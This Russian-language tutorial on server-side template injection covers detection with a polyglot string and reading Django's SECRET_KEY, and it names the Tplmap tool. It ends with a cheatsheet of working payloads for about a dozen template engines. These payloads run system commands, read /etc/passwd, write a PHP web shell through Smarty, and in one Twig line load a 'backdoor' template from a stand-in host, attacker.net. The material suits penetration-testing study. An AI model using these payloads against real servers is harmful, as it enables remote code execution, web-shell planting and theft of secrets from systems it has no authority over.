SSTI: Руководство по внедрению шаблонов на стороне сервера
Этичный Хакер
Что такое SSTI?
Внедрение шаблона на стороне сервера - это уязвимость, при которой злоумышленник вводит вредоносный код в шаблон для выполнения команд на стороне сервера. Эта уязвимость возникает, когда в механизм создания шаблонов внедряется неверный пользовательский код, что обычно может привести к RCE.
Шаблонизаторы предназначены для объединения шаблонов с моделью данных для создания результирующих документов, которые помогают размещать динамические данные на веб-страницах. Шаблонизаторы могут использоваться для отображения информации о пользователях, продуктах и т.д.
Некоторые из наиболее популярных движков шаблонов можно перечислить следующим образом:
- PHP–Smarty,Twigs
- JAVA–Velocity,Freemaker
- Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage
- Ruby-Liquid
Когда проверка входных данных не обрабатывается должным образом на стороне сервера, на сервере может быть выполнена полезная нагрузка для SSTI, что может привести к удаленному выполнению кода.
Как это работает?
Для простоты представьте, что вы тестируете параметр следующего запроса:
POST /some-endpoint HTTP/1.1 Host: vulnerable-website.com parameter=value
Чтобы обнаружить уязвимость, используйте полезную нагрузку polyglot в качестве значения параметра, который представляет собой последовательность специальных символов, таких как следующие:
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=${{<%[%'"}}%\.
Чтобы идентифицировать механизм создания шаблонов, прочтите сообщение об ошибке:

Если сообщение об ошибке не отображает движок шаблонов, мы можем протестировать его с помощью известных синтаксисов для популярных движков шаблонов:
=${7*3}
={{7*3}}
=<%= 7*3 %>
Ознакомьтесь с документацией для движка шаблонов (в данном случае это Django) и используйте следующую полезную нагрузку для чтения выходных данных отладки:
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={% debug %}
Выходные данные будут содержать список объектов и свойств, к которым у вас есть доступ из этого шаблона:

Прочитайте секретный ключ, используя доступный объект "settings":
POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={{settings.SECRET_KEY}}
Каково влияние SSTI?
Влияние уязвимостей, связанных с внедрением шаблонов, как правило, критично, что приводит к RCE за счет получения полного контроля над внутренним сервером. Даже без выполнения кода злоумышленник может получить доступ к конфиденциальным данным на сервере. Существуют также редкие случаи, когда уязвимость SSTI не является критической, в зависимости от движка шаблонов.
Как выявить уязвимость?
Чтобы выявить уязвимость, используйте полезную нагрузку Polyglot, состоящую из специальных символов, обычно используемых в шаблонных выражениях, для размытия шаблона.
${{<%[%'"}}%\.
В случае обнаружения уязвимости может быть возвращено сообщение об ошибке или сервер может вызвать исключение. Это может быть использовано для выявления уязвимости и используемого движка шаблонов.
Следующую шпаргалку можно использовать для определения движка шаблонов:

Инструмент для автоматического выявления и эксплуатации SSTI
Tplmap помогает в использовании уязвимостей внедрения кода и шаблонов на стороне сервера с помощью нескольких методов выхода из изолированной среды для получения доступа к базовой операционной системе.
- Инструмент и его набор тестов разработаны для исследования класса уязвимостей SSTI и для использования в качестве средств защиты от атак во время тестов на проникновение в веб-приложения.
Cheatsheet
--------------------------------------------------------------------Polyglot:
${{<%[%'"}}%\
--------------------------------------------------------------------FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
--------------------------------------------------------------------
(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
--------------------------------------------------------------------
Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
--------------------------------------------------------------------
Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
--------------------------------------------------------------------Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
--------------------------------------------------------------------Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
-------------------------------------------------------------------
ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
--------------------------------------------------------------------
Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}
--------------------------------------------------------------------
Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
--------------------------------------------------------------------
Mojolicious (Perl):
<%= perl code %>
<% perl code %>
--------------------------------------------------------------------Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
--------------------------------------------------------------------Flask/Jinja2:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
--------------------------------------------------------------------
Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
--------------------------------------------------------------------
Razor (.Net):
@(1+2)
@{// C# code}
--------------------------------------------------------------------